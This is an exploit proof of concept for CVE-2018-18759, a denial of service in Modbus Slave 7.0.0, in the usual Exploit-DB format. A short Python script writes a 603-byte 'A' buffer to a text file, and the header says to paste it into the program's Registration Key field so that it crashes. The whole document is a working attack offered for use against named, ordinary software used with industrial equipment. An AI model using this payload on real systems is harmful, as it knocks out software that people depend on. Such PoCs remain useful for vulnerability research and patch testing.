Modbus Slave 7.0.0 - Denial of Service (PoC)

# Exploit Title: Modbus Slave 7.0.0 - Denial of Service (PoC)
# Dork: N/A
# Date: 2018-10-29
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.modbustools.com/
# Software Link: https://www.modbustools.com/download/ModbusSlaveSetup32Bit.exe
# Software Link: https://www.modbustools.com/download/ModbusSlaveSetup64Bit.exe
# Version: 7.0.0
# Category: Dos
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-18759

# POC: 
# 1)
# F3 & Connection / Connect / Registration Key

#!/usr/bin/python

buffer = "A" * 603
try:
    f=open("sie.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(buffer)
    f.write(buffer)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"